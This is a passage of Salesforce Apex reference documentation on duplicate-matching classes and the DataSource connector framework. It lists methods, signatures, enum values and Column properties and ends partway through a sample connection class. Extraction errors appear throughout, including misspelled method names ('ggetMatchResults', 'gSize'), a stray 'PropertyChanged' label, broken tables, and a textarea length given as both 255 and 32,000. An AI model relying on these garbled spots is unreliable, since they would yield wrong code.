    ApexPages.Severity.ERROR, 'Duplicate Error: ' +
    duplicateResult.getMessage());
ApexPages.addMessage(errorMessage);
```

ggetMatchResults()
Returns the duplicate records and match information.

Signature
gpublic List<Datacloud.MatchResult> getMatchResults()

Return Value
Type: List<Datacloud.MatchResult>
Example
This example shows the code used to return duplicate record and match information and assign it to the matchResults variable. This code is part of a custom application that implements duplicate management when users add a contact. See DuplicateResult Class on page 1441 to check out the entire sample application.

```java
Datacloud.MatchResult[] matchResults =
    duplicateResult.getMatchResults();
```

isAllowSave()
Indicates whether the duplicate rule will allow a record that's identified as a duplicate to be saved. Set to `true` if duplicate rule should allow save; otherwise, `false`.

Signature
```java
public Boolean isAllowSave()
```

Return Value
Type: `Boolean`

FieldDiff Class
Represents the name of a matching rule field and how the values of the field compare for the duplicate and its matching record.

Namespace
```java
Datacloud
```

IN THIS SECTION:
FieldDiff Methods

FieldDiff Methods
The following are methods for `FieldDiff`.

IN THIS SECTION:
```java
getDifference()
```
Returns how the field values compare for the duplicate and its matching record.

```java
getName()
```
Returns the name of a field on a matching rule that detected duplicates.

```java
getDifference()
```
Returns how the field values compare for the duplicate and its matching record.
Signature

```java
public String getDifference()
```

Return Value
Type: String
Possible values include:
- **SAME**: Indicates the field values match exactly.
- **DIFFERENT**: Indicates that the field values do not match.
- **NULL**: Indicates that the field values are a match because both values are blank.

**getName()**

Returns the name of a field on a matching rule that detected duplicates.

Signature

```java
public String getName()
```

Return Value
Type: String

**MatchRecord Class**

Represents a duplicate record detected by a matching rule.

**Namespace**

Datacloud

**IN THIS SECTION:**

*MatchRecord Methods*

**MatchRecord Methods**

The following are methods for **MatchRecord**.

**IN THIS SECTION:**

*getAdditionalInformation()*

Returns other information about a matched record. For example, a `matchGrade` represents the quality of the data for the D&B fields in the matched record.

*getFieldDiffs()*

Returns all matching rule fields and how each field value compares for the duplicate and its matching record.
getMatchConfidence()
Returns the ranking of how similar a matched record’s data is to the data in your request. Must be equal to or greater than the value of the minMatchConfidence specified in your request. Returns -1 if unused.

getRecord()
Returns the fields and field values for the duplicate.

getAdditionalInformation()
Returns other information about a matched record. For example, a matchGrade represents the quality of the data for the D&B fields in the matched record.

Signature
public List<Datacloud.AdditionalInformationMap> getAdditionalInformation()

Return Value
Type: List<Datacloud.AdditionalInformationMap>

ggetFieldDiffs()
Returns all matching rule fields and how each field value compares for the duplicate and its matching record.

Signature
public List<Datacloud.FieldDiff> getFieldDiffs()

Return Value
Type: List<Datacloud.FieldDiff>

ggetMatchConfidence()
Returns the ranking of how similar a matched record’s data is to the data in your request. Must be equal to or greater than the value of the minMatchConfidence specified in your request. Returns -1 if unused.

Signature
public Double getMatchConfidence()

Return Value
Type: Double

ggetRecord()
Returns the fields and field values for the duplicate.
Signature

public SObject getRecord()

Return Value

Type: SObject

MatchResult Class

Represents the duplicate results for a matching rule.

Namespace

Datacloud

Example

IN THIS SECTION:

MatchResult Methods

MatchResult Methods

The following are methods for MatchResult.

IN THIS SECTION:

getEntityType()
Returns the entity type of the matching rule.

getErrors()
Returns errors that occurred during matching for the matching rule.

getMatchEngine()
Returns the match engine for the matching rule.

getMatchRecords()
Returns information about the duplicates for the matching rule.

getRule()
Returns the developer name of the matching rule.

getSize()
Returns the number of duplicates detected by the matching rule.

isSuccess()
Returns false if there's an error with the matching rule, and true if the matching rule successfully ran.

getEntityType() Returns the entity type of the matching rule.
**Signature**

```java
public String getEntityType()
```

**Return Value**

Type: String

**getErrors()**

Returns errors that occurred during matching for the matching rule.

**Signature**

```java
public List<Database.Error> getErrors()
```

**Return Value**

Type: List<Database.Error>

**getMatchEngine()**

Returns the match engine for the matching rule.

**Signature**

```java
public String getMatchEngine()
```

**Return Value**

Type: String

**getMatchRecords()**

Returns information about the duplicates for the matching rule.

**Signature**

```java
public List<Datacloud.MatchRecord> getMatchRecords()
```

**Return Value**

Type: List<Datacloud.MatchRecord>

**getRule()**

Returns the developer name of the matching rule.

**Signature**

```java
public String getRule()
```
Return Value
Type: String

gSize()
Returns the number of duplicates detected by the matching rule.

Signature
public Integer getSize()

Return Value
Type: Integer

isSuccess()
Returns false if there's an error with the matching rule, and true if the matching rule successfully ran.

Signature
public Boolean isSuccess()

Return Value
Type: Boolean

DataSource Namespace

The DataSource namespace provides the classes for the Apex Connector Framework. Use the Apex Connector Framework to develop a custom adapter for Lightning Connect. Then connect your Salesforce organization to any data anywhere via the Lightning Connect custom adapter.

The following are the classes in the DataSource namespace.

IN THIS SECTION:

AsyncDeleteCallback Class
A callback class that the Database.deleteAsync method references. Salesforce calls this class after the remote deleteAsync operation is completed. This class provides the compensating transaction in the completion context of the delete operation. Extend this class to define the actions to execute after the remote delete operation finishes execution.

AsyncSaveCallback Class
A callback class that the Database.insertAsync or Database.updateAsync method references. Salesforce calls this class after the remote operation is completed. This class provides the compensating transaction in the completion context of the insert or update operation. Extend this class to define the actions to execute after the remote insert or update operation finishes execution.

AuthenticationCapability Enum
Specifies the types of authentication that can be used to access the external system.
AuthenticationProtocol Enum
Determines what type of credentials are used to authenticate to the external system.

Capability Enum
Declares which functional operations the external system supports. Also specifies required endpoint settings for the external data source definition.

Column Class
Describes a column on a DataSource.Table.

ColumnSelection Class
Identifies the list of columns to return during a query or search.

Connection Class
Extend this class to enable your Salesforce organization to sync the external system’s schema and to handle queries, searches, and write operations (upsert and delete) of the external data.

ConnectionParams Class
Contains the credentials for authenticating to the external system.

DataSourceUtil Class
Parent class for the DataSource.Provider and DataSource.Connection classes.

DataType Enum
Specifies the data types that are supported by the Apex Connector Framework.

DeleteContext Class
An instance of DeleteContext is passed to the deleteRows() method on your Database.Connection class. The class provides context information about the delete request to the implementor of deleteRows().

DeleteResult Class
Represents the result of a delete operation on an sObject record. The result is returned by the DataSource.deleteRows method of the DataSource.Connection class.

Filter Class
Represents a WHERE clause in a SOSL or SOQL query.

FilterType Enum
Referenced by the type property on a DataSource.Filter.

IdentityType Enum
Determines which set of credentials is used to authenticate to the external system.

Order Class
Contains details about how to sort the rows in the result set. Equivalent to an ORDER BY statement in a SOQL query.

OrderDirection Enum
Specifies the direction for sorting rows based on column values.

Provider Class
Extend this base class to create a custom adapter for Lightning Connect. The class informs Salesforce of the functional and authentication capabilities that are supported by or required to connect to the external system.

QueryAggregation Enum
Specifies how to aggregate a column in a query.
QueryContext Class
An instance of QueryContext is provided to the query method on your DataSource.Connection class. The instance corresponds to a SOQL request.

QueryUtils Class
Contains helper methods to locally filter, sort, and apply limit and offset clauses to data rows. This helper class is provided for your convenience during early development and tests, but it isn’t supported for use in production environments.

ReadContext Class
Abstract base class for the QueryContext and SearchContext classes.

SearchContext Class
An instance of SearchContext is provided to the search method on your DataSource.Connection class. The instance corresponds to a search or SOSL request.

SearchUtils Class
Helper class for implementing search on a custom adapter for Lightning Connect.

Table Class
Describes a table on an external system that the Lightning Connect custom adapter connects to.

TableResult Class
Contains the results of a search or query.

TableSelection Class
Contains a breakdown of the SOQL or SOSL query. Its properties represent the FROM, ORDER BY, SELECT, and WHERE clauses in the query.

UpsertContext Class
An instance of UpsertContext is passed to the upsertRows() method on your Datasource.Connection class. This class provides context information about the upsert request to the implementor of upsertRows().

UpsertResult Class
Represents the result of an upsert operation on an external object record. The result is returned by the upsertRows method of the DataSource.Connection class.

DataSource Exceptions
The DataSource namespace contains exception classes.

AsyncDeleteCallback Class
A callback class that the Database.deleteAsync method references. Salesforce calls this class after the remote deleteAsync operation is completed. This class provides the compensating transaction in the completion context of the delete operation. Extend this class to define the actions to execute after the remote delete operation finishes execution.

Namespace
DataSource

IN THIS SECTION:
AsyncDeleteCallback Methods
AsyncDeleteCallback Methods

The following are methods for AsyncDeleteCallback.

IN THIS SECTION:

- **processDelete(deleteResult)**
  
  Override this method to define actions that Salesforce executes after a remote `Database.deleteAsync` operation is completed. For example, based on the results of the remote operation, you can update custom object data or other data that’s stored in the Salesforce org.

**processDelete(deleteResult)**

Override this method to define actions that Salesforce executes after a remote `Database.deleteAsync` operation is completed. For example, based on the results of the remote operation, you can update custom object data or other data that’s stored in the Salesforce org.

**Signature**

```java
public void processDelete(Database.DeleteResult deleteResult)
```

**Parameters**

- **deleteResult**
  
  Type: `Database.DeleteResult`
  
  The result of the asynchronous delete operation.

**Return Value**

Type: void

AsyncSaveCallback Class

A callback class that the `Database.insertAsync` or `Database.updateAsync` method references. Salesforce calls this class after the remote operation is completed. This class provides the compensating transaction in the completion context of the insert or update operation. Extend this class to define the actions to execute after the remote insert or update operation finishes execution.

**Namespace**

`DataSource`

IN THIS SECTION:

- **AsyncSaveCallback Methods**

AsyncSaveCallback Methods

The following are methods for AsyncSaveCallback.
processSave(saveResult)

Override this method to define actions that Salesforce executes after the remote Database.insertAsync or Database.updateAsync operation is completed. For example, based on the results of the remote operation, you can update custom object data or other data that's stored in the Salesforce org.

Signature

public void processSave(Database.SaveResult saveResult)

Parameters

saveResult
Type: Database.SaveResult

The result of the asynchronous insert or update operation.

Return Value

Type: void

AuthenticationCapability Enum

Specifies the types of authentication that can be used to access the external system.

Usage

The DataSource.Provider class returns DataSource.AuthenticationCapability enum values. The returned values determine which authentication settings are available on the external data source definition in Salesforce.

If you set up callouts in your DataSource.Connection class, you can specify the callout endpoints as named credentials instead of URLs. If you do so for all callouts, return ANONYMOUS as the sole entry in the list of data source authentication capabilities. That way, the external data source definition doesn’t require authentication settings. Salesforce manages all authentication for Apex callouts that specify a named credential as the callout endpoint so that your code doesn’t have to.

Enum Values

The following are the values of the DataSource.AuthenticationCapability enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ANONYMOUS</td>
<td>No credentials are required to authenticate to the external system.</td>
</tr>
<tr>
<td>BASIC</td>
<td>A username and password can be used to authenticate to the external system.</td>
</tr>
</tbody>
</table>
A security certificate can be supplied when establishing each connection to the external system.

OAuth can be used to authenticate to the external system.

**AuthenticationProtocol Enum**

Determines what type of credentials are used to authenticate to the external system.

**Enum Values**

The following are the values of the `DataSource.AuthenticationProtocol` enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>NONE</td>
<td>No credentials are used to authenticate to the external system.</td>
</tr>
<tr>
<td>OAUTH</td>
<td>OAuth 2.0 is used to authenticate to the external system.</td>
</tr>
<tr>
<td>PASSWORD</td>
<td>A username and password are used to authenticate to the external system.</td>
</tr>
</tbody>
</table>

**Capability Enum**

Declares which functional operations the external system supports. Also specifies required endpoint settings for the external data source definition.

**Usage**

The `DataSource.Provider` class returns `DataSource.Capability` enum values, which:

- Specify the functional capabilities of the external system.
- Determine which endpoint settings are available on the external data source definition in Salesforce.

**Enum Values**

The following are the values of the `DataSource.Capability` enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>QUERY_PAGINATION_SERVER_DRIVEN</td>
<td>With server-driven paging, the external system determines the page sizes and batch boundaries. The external system's paging settings can optimize the external system's performance and improve the load times for external objects in your org. Also, the external data set can change while your users or the Force.com platform are paging through the result set. Typically, server-driven paging adjusts batch boundaries to accommodate changing data sets more effectively than client-driven paging. If you enable server-driven paging on an external data source, the external system ignores any batch boundaries or page sizes that are specified in queries. Also, the</td>
</tr>
</tbody>
</table>
Apex code must generate a query token and use it to determine and fetch the next batch of results.

**QUERY_TOTAL_SIZE**

The external system can provide the total number of rows that meet the query criteria, even when requested to return a smaller batch size. This capability enables you to simplify how you paginate results by using `queryMore()`.

**REQUIRE_ENDPOINT**

Requires the administrator to specify the endpoint in the URL field in the external data source definition.

**REQUIRE_HTTPS**

Requires the endpoint URL to use secure HTTP. If `REQUIRE_ENDPOINT` isn’t declared, `REQUIRE_HTTPS` is ignored.

**ROW_CREATE**

Allows creating of external data.

**ROW_DELETE**

Allows deleting external data.

**ROW_QUERY**

Allows API and SOQL queries of the external data.

**ROW_UPDATE**

Allows updating external data.

**SEARCH**

Allows SOSL and Salesforce searches of the external data.

Only text, text area, and long text area fields on external objects can be searched. If an external object has no searchable fields, searches on that object return no records.

---

**Column Class**

Describes a column on a `DataSource.Table`.

**Namespace**

`DataSource`

**Usage**

A list of column metadata is provided by the `DataSource.Connection` class when the `sync()` method is invoked. Each column can become a field on an external object.

The metadata is stored in Salesforce. Updating the Apex code to return new or updated values for the column metadata doesn’t automatically update the stored metadata in Salesforce.

---

**IN THIS SECTION:**

- Column Properties
- Column Methods
**Column Properties**

The following are properties for Column.

**IN THIS SECTION:**
- **decimalPlaces**
  If the data type is numeric, the number of decimal places to the right of the decimal point.
- **description**
  Description of what the column represents.
- **filterable**
  Whether a result set can be filtered based on the values of the column.
- **label**
  User-friendly name for the column that appears in the Salesforce user interface.
- **length**
  If the column is a string data type, the number of characters in the column. If the column is a numeric data type, the total number of digits on both sides of the decimal point, but excluding the decimal point.
- **name**
  Name of the column in the external system.
- **referenceTargetField**
  API name of the custom field on the parent object whose values are compared against this column’s values. Matching values identify related records in an indirect lookup relationship. Applies only when the column’s data type is INDIRECT_LOOKUP_TYPE. For other data types, this value is ignored.
- **referenceTo**
  API name of the parent object in the relationship that’s represented by this column. Applies only when the column’s data type is LOOKUP_TYPE, EXTERNAL_LOOKUP_TYPE, or INDIRECT_LOOKUP_TYPE. For other data types, this value is ignored.
- **sortable**
  Whether a result set can be sorted based on the values of the column via an ORDER BY clause.
- **type**
  Data type of the column.

**decimalPlaces**

If the data type is numeric, the number of decimal places to the right of the decimal point.

**Signature**

```csharp
public Integer decimalPlaces {get; set;}
```

**Property Value**

Type: Integer

**description**

Description of what the column represents.
**Signature**

public String description {get; set;}

**Property Value**

Type: String

**filterable**

Whether a result set can be filtered based on the values of the column.

**Signature**

public Boolean filterable {get; set;}

**Property Value**

Type: Boolean

**label**

User-friendly name for the column that appears in the Salesforce user interface.

**Signature**

public String label {get; set;}

**Property Value**

Type: String

**length**

If the column is a string data type, the number of characters in the column. If the column is a numeric data type, the total number of digits on both sides of the decimal point, but excluding the decimal point.

**Signature**

public Integer length {get; set;}

**Property Value**

Type: Integer

**name**

Name of the column in the external system.
Reference

Signature

```csharp
public String name {get; set;}
```

Property Value

Type: String

**referenceTargetField**

API name of the custom field on the parent object whose values are compared against this column's values. Matching values identify related records in an indirect lookup relationship. Applies only when the column's data type is `INDIRECT_LOOKUP_TYPE`. For other data types, this value is ignored.

Signature

```csharp
public String referenceTargetField {get; set;}
```

Property Value

Type: String

**referenceTo**

API name of the parent object in the relationship that's represented by this column. Applies only when the column's data type is `LOOKUP_TYPE`, `EXTERNAL_LOOKUP_TYPE`, or `INDIRECT_LOOKUP_TYPE`. For other data types, this value is ignored.

Signature

```csharp
public String referenceTo {get; set;}
```

Property Value

Type: String

**sortable**

Whether a result set can be sorted based on the values of the column via an `ORDER BY` clause.

Signature

```csharp
public Boolean sortable {get; set;}
```

Property Value

Type: Boolean

**type**

Data type of the column.
Signature

```csharp
public DataSource.DataType type {get; set;}
```

Property Value

Type: `DataSource.DataType`

Column Methods

The following are methods for `Column`.

IN THIS SECTION:

- `boolean(name)`
  - Returns a new column of data type `BOOLEAN_TYPE`.
- `externalLookup(name, domain)`
  - Returns a new column of data type `EXTERNAL_LOOKUP_TYPE`.
- `get(name, label, description, isSortable, isFilterable, type, length, decimalPlaces, referenceTo, referenceTargetField)`
  - Returns a new column with the ten specified `Column` property values.
- `get(name, label, description, isSortable, isFilterable, type, length, decimalPlaces)`
  - Returns a new column with the eight specified `Column` property values.
- `get(name, label, description, isSortable, isFilterable, type, length)`
  - Returns a new column with the seven specified `Column` property values.
- `indirectLookup(name, domain, targetField)`
  - Returns a new column of data type `INDIRECT_LOOKUP_TYPE`.
- `integer(name, length)`
  - Returns a new numeric column with no decimal places using the specified name and length.
- `lookup(name, domain)`
  - Returns a new column of data type `LOOKUP_TYPE`.
- `number(name, length, decimalPlaces)`
  - Returns a new column of data type `NUMBER_TYPE`.
- `text(name, label, length)`
  - Returns a new column of data type `STRING_SHORT_TYPE` or `STRING_LONG_TYPE`, with the specified name, label, and length.
- `text(name, length)`
  - Returns a new column of data type `STRING_SHORT_TYPE` or `STRING_LONG_TYPE`, with the specified name and length.
- `textarea(name)`
  - Returns a new column of data type `STRING_LONG_TYPE` with the specified name and the length of 255 characters.
- `url(name, length)`
  - Returns a new column of data type `URL_TYPE` with the specified name and length.
url(name)
Returns a new column of data type URL_TYPE with the specified name and the length of 1,000 characters.

boolean(name)
Returns a new column of data type BOOLEAN_TYPE.

Signature
global static DataSource.Column boolean(String name)

Parameters

name
Type: String
Name of the column.

Return Value
Type: DataSource.Column

externalLookup(name, domain)
Returns a new column of data type EXTERNAL_LOOKUP_TYPE.

Signature
global static DataSource.Column externalLookup(String name, String domain)

Parameters

name
Type: String
Name of the column.

domain
Type: String
API name of the parent object in the external lookup relationship.

Return Value
Type: DataSource.Column
The returned column has these property values.

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td>name</td>
</tr>
<tr>
<td>label</td>
<td>name</td>
</tr>
</tbody>
</table>
### Property

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>description</td>
<td>name</td>
</tr>
<tr>
<td>isSortable</td>
<td>true</td>
</tr>
<tr>
<td>isFilterable</td>
<td>true</td>

<tr>
<td>referenceTo</td>
<td>domain</td>
</tr>
<tr>
<td>referenceTargetField</td>
<td>null</td>
</tr>
</tbody>
</table>

#### get(name, label, description, isSortable, isFilterable, type, length, decimalPlaces, referenceTo, referenceTargetField)

Returns a new column with the ten specified Column property values.

**Signature**

```java
public static DataSource.Column get(String name, String label, String description, Boolean isSortable, Boolean isFilterable, DataSource.DataType type, Integer length, Integer decimalPlaces, String referenceTo, String referenceTargetField)
```

**Parameters**

See **Column Properties** on page 1458 for information about each parameter.

- **name**
  - Type: String
- **label**
  - Type: String
- **description**
  - Type: String
- **isSortable**
  - Type: Boolean
- **isFilterable**
  - Type: Boolean
- **type**
  - Type: DataSource.DataType
- **length**
  - Type: Integer
- **decimalPlaces**
  - Type: Integer
**referenceTo**
Type: String

**referenceTargetField**
Type: String

**Return Value**
Type: DataSource.Column

**get(name, label, description, isSortable, isFilterable, type, length, decimalPlaces)**
Returns a new column with the eight specified Column property values.

**Signature**
```
public static DataSource.Column get(String name, String label, String description,
Boolean isSortable, Boolean isFilterable, DataSource.DataType type, Integer length,
Integer decimalPlaces)
```

**Parameters**
See Column Properties on page 1458 for information about each parameter.

- **name**
  Type: String

- **label**
  Type: String

- **description**
  Type: String

- **isSortable**
  Type: Boolean

- **isFilterable**
  Type: Boolean

- **type**
  Type: DataSource.DataType

- **length**
  Type: Integer

- **decimalPlaces**
  Type: Integer

**Return Value**
Type: DataSource.Column
get(name, label, description, isSortable, isFilterable, type, length)

Returns a new column with the seven specified Column property values.

Signature

public static DataSource.Column get(String name, String label, String description, Boolean isSortable, Boolean isFilterable, DataSource.DataType type, Integer length)

Parameters

See Column Properties on page 1458 for information about each parameter.

name
Type: String

label
Type: String

description
Type: String

isSortable
Type: Boolean

isFilterable
Type: Boolean

type
Type: DataSource.DataType

length
Type: Integer

Return Value
Type: DataSource.Column

indirectLookup(name, domain, targetField)

Returns a new column of data type INDIRECT_LOOKUP_TYPE.

Signature

public static DataSource.Column indirectLookup(String name, String domain, String targetField)

Parameters

name
Type: String
Name of the column.

domain
Type: String
API name of the parent object in the indirect lookup relationship.

**targetField**
Type: String

API name of the custom field on the parent object whose values are compared against this column’s values. Matching values identify related records in an indirect lookup relationship.

**Return Value**
Type: DataSource.Column

The returned column has these property values.

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td>name</td>
</tr>
<tr>
<td>label</td>
<td>name</td>
</tr>
<tr>
<td>description</td>
<td>name</td>
</tr>
<tr>
<td>isSortable</td>
<td>true</td>
</tr>
<tr>
<td>isFilterable</td>
<td>true</td>
</tr>
<tr>
<td>type</td>
<td>DataSource.DataType.INDIRECT_LOOKUP_TYPE</td>
</tr>
<tr>
<td>length</td>
<td>255</td>
</tr>
<tr>
<td>decimalPlaces</td>
<td>0</td>
</tr>
<tr>
<td>referenceTo</td>
<td>domain</td>
</tr>
<tr>
<td>referenceTargetField</td>
<td>targetField</td>
</tr>
</tbody>
</table>

**integer(name, length)**

Returns a new numeric column with no decimal places using the specified name and length.

**Signature**

```java
public static DataSource.Column integer(String name, Integer length)
```

**Parameters**

- **name**
  Type: String
  The column name.

- **length**
  Type: Integer
  The column length.
Return Value
Type: `DataSource.Column`

`lookup(name, domain)`
Returns a new column of data type `LOOKUP_TYPE`.

Signature
```java
public static DataSource.Column lookup(String name, String domain)
```

Parameters
- `name`  
  Type: `String`  
  Name of the column.
- `domain`  
  Type: `String`  
  API name of the parent object in the lookup relationship.

Return Value
Type: `DataSource.Column`
The returned column has these property values.

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td><code>name</code></td>
</tr>
<tr>
<td>label</td>
<td><code>name</code></td>
</tr>
<tr>
<td>description</td>
<td><code>name</code></td>
</tr>
<tr>
<td>isSortable</td>
<td>true</td>
</tr>
<tr>
<td>isFilterable</td>
<td>true</td>
</tr>
<tr>
<td>type</td>
<td><code>DataSource.DataType.LOOKUP_TYPE</code></td>
</tr>
<tr>
<td>length</td>
<td>255</td>
</tr>
<tr>
<td>decimalPlaces</td>
<td>0</td>
</tr>
<tr>
<td>referenceTo</td>
<td><code>domain</code></td>
</tr>
<tr>
<td>referenceTargetField</td>
<td>null</td>
</tr>
</tbody>
</table>

`number(name, length, decimalPlaces)`
Returns a new column of data type `NUMBER_TYPE`. 
**Signature**

```
public static DataSource.Column number(String name, Integer length, Integer decimalPlaces)
```

**Parameters**

See [Column Properties](#) on page 1458 for information about each parameter.

- **name**
  - Type: String
- **length**
  - Type: Integer
- **decimalPlaces**
  - Type: Integer

**Return Value**

*Type: DataSource.Column*

The returned column has these property values.

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td>name</td>
</tr>
<tr>
<td>label</td>
<td>name</td>
</tr>
<tr>
<td>description</td>
<td>name</td>
</tr>
<tr>
<td>isSortable</td>
<td>true</td>
</tr>
<tr>
<td>isFilterable</td>
<td>true</td>
</tr>
<tr>
<td>type</td>
<td>DataSource.DataType.NUMBER_TYPE</td>
</tr>
<tr>
<td>length</td>
<td>length</td>
</tr>
<tr>
<td>decimalPlaces</td>
<td>decimalPlaces</td>
</tr>
</tbody>
</table>

**text(name, label, length)**

Returns a new column of data type STRING_SHORT_TYPE or STRING_LONG_TYPE, with the specified name, label, and length.

**Signature**

```
public static DataSource.Column text(String name, String label, Integer length)
```

**Parameters**

- **name**
  - Type: String
  - Name of the column.
label
    Type: String
    User-friendly name for the column that appears in the Salesforce user interface.

length
    Type: Integer
    Number of characters allowed in the column.

Return Value
Type: DataSource.Column
The returned column has these property values.

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td>name</td>
</tr>
<tr>
<td>label</td>
<td>label</td>
</tr>
<tr>
<td>description</td>
<td>label</td>
</tr>
<tr>
<td>isSortable</td>
<td>true</td>
</tr>
<tr>
<td>isFilterable</td>
<td>true</td>
</tr>
<tr>
<td>type</td>
<td>DataSource.DataType.STRING_SHORT_TYPE if ( length ) is 255 or less</td>
</tr>
<tr>
<td></td>
<td>DataSource.DataType.STRING_LONG_TYPE if ( length ) is greater than 255</td>
</tr>
<tr>
<td>length</td>
<td>length</td>
</tr>
<tr>
<td>decimalPlaces</td>
<td>0</td>
</tr>
</tbody>
</table>

**text(name, length)**

Returns a new column of data type STRING_SHORT_TYPE or STRING_LONG_TYPE, with the specified name and length.

**Signature**

```java
public static DataSource.Column text(String name, Integer length)
```

**Parameters**

- **name**
  Type: String
  Name of the column.

- **length**
  Type: Integer
  Number of characters allowed in the column.
Return Value
Type: DataSource.Column

The returned column has these property values.

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td>name</td>
</tr>
<tr>
<td>label</td>
<td>name</td>
</tr>
<tr>
<td>description</td>
<td>name</td>
</tr>
<tr>
<td>isSortable</td>
<td>true</td>
</tr>
<tr>
<td>isFilterable</td>
<td>true</td>
</tr>
</tbody>
</table>
| type         | DataSource.DataType.STRING_SHORT_TYPE if length is 255 or less
               | DataSource.DataType.STRING_LONG_TYPE if length is greater than 255 |
| length       | length                         |
| decimalPlaces| 0                              |

**text(name)**

Returns a new column of data type STRING_SHORT_TYPE with the specified name and the length of 255 characters.

**Signature**

```java
public static DataSource.Column text(String name)
```

**Parameters**

`name`
Type: String
Name of the column.

**Return Value**
Type: DataSource.Column

The returned column has these property values.

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td>name</td>
</tr>
<tr>
<td>label</td>
<td>name</td>
</tr>
<tr>
<td>description</td>
<td>name</td>
</tr>
</tbody>
</table>
### Property

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>isSortable</td>
<td>true</td>
</tr>
<tr>
<td>isFilterable</td>
<td>true</td>
</tr>
<tr>
<td>type</td>
<td>DataSource.DataType.STRING_SHORT_TYPE</td>
</tr>
<tr>
<td>length</td>
<td>255</td>
</tr>
<tr>
<td>decimalPlaces</td>
<td>0</td>
</tr>
</tbody>
</table>

**textarea(name)**

Returns a new column of data type `STRING_LONG_TYPE` with the specified name and the length of 32,000 characters.

**Signature**

```java
public static DataSource.Column textarea(String name)
```

**Parameters**

- **name**
  - Type: `String`
  - Name of the column.

**Return Value**

Type: `DataSource.Column`

The returned column has these property values.

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td>name</td>
</tr>
<tr>
<td>label</td>
<td>name</td>
</tr>
<tr>
<td>description</td>
<td>name</td>
</tr>
<tr>
<td>isSortable</td>
<td>true</td>
</tr>
<tr>
<td>isFilterable</td>
<td>true</td>
</tr>
<tr>
<td>type</td>
<td>DataSource(DataType.STRING_LONG_TYPE)</td>
</tr>
<tr>
<td>length</td>
<td>32000</td>
</tr>
<tr>
<td>decimalPlaces</td>
<td>0</td>
</tr>
</tbody>
</table>

**url(name, length)**

Returns a new column of data type `URL_TYPE` with the specified name and length.
Signature

public static DataSource.Column url(String name, Integer length)

Parameters

name
Type: String
Name of the column.

length
Type: Integer
Number of characters allowed in the column.

Return Value

Type: DataSource.Column
The returned column has these property values.

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td>name</td>
</tr>
<tr>
<td>label</td>
<td>name</td>
</tr>
<tr>
<td>description</td>
<td>name</td>
</tr>
<tr>
<td>isSortable</td>
<td>true</td>
</tr>
<tr>
<td>isFilterable</td>
<td>true</td>
</tr>
<tr>
<td>type</td>
<td>DataSource.DataType.URL_TYPE</td>
</tr>
<tr>
<td>length</td>
<td>length</td>
</tr>
<tr>
<td>decimalPlaces</td>
<td>0</td>
</tr>
</tbody>
</table>

url(name)

Returns a new column of data type URL_TYPE with the specified name and the length of 1,000 characters.

Signature

public static DataSource.Column url(String name)
Return Value
Type: `DataSource.Column`
The returned column has these property values.

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td><code>name</code></td>
</tr>
<tr>
<td>label</td>
<td><code>name</code></td>
</tr>
<tr>
<td>description</td>
<td><code>name</code></td>
</tr>
<tr>
<td>isSortable</td>
<td><code>true</code></td>
</tr>
<tr>
<td>isFilterable</td>
<td><code>true</code></td>
</tr>
<tr>
<td>type</td>
<td><code>DataSource.DataType.URL_TYPE</code></td>
</tr>
<tr>
<td>length</td>
<td><code>1000</code></td>
</tr>
<tr>
<td>decimalPlaces</td>
<td><code>0</code></td>
</tr>
</tbody>
</table>

ColumnSelection Class
Identifies the list of columns to return during a query or search.

Namespace
`DataSource Namespace`

Usage
This class is associated with the `SELECT` clause for a SOQL query, or the `RETURNING` clause for a SOSL query.

IN THIS SECTION:
- `ColumnSelection Properties`

ColumnSelection Properties
The following are properties for `ColumnSelection`.

IN THIS SECTION:
- `aggregation`
  How to aggregate the column’s data.
- `columnName`
  Name of the selected column.
- `tableName`
  Name of the column’s table.
aggregation
How to aggregate the column’s data.

Signature
public DataSource.QueryAggregation aggregation {get; set;}

PropertyChanged
Type: DataSource.QueryAggregation

columnName
Name of the selected column.

Signature
public String columnName {get; set;}

PropertyChanged
Type: String

tableName
Name of the column’s table.

Signature
public String tableName {get; set;}

PropertyChanged
Type: String

Connection Class
Extend this class to enable your Salesforce organization to sync the external system’s schema and to handle queries, searches, and write operations (upsert and delete) of the external data.

Namespace
DataSource

Usage
Your DataSource.Connection and DataSource.Provider classes compose a custom adapter for Lightning Connect. Changing the sync method on the DataSource.Connection class doesn’t automatically resync any external objects.
Example

global class SampleDataSourceConnection extends DataSource.Connection {
  global SampleDataSourceConnection(DataSource.ConnectionParams connectionParams) {
  }

  override global List<DataSource.Table> sync() {
    List<DataSource.Table> tables = new List<DataSource.Table>();
    List<DataSource.Column> columns;
    columns = new List<DataSource.Column>();
    columns.add(DataSource.Column.text('Name', 255));
    columns.add(DataSource.Column.text('ExternalId', 255));
    columns.add(DataSource.Column.url('DisplayUrl'));
    tables.add(DataSource.Table.get('Sample', 'Title', columns));
    return tables;
  }

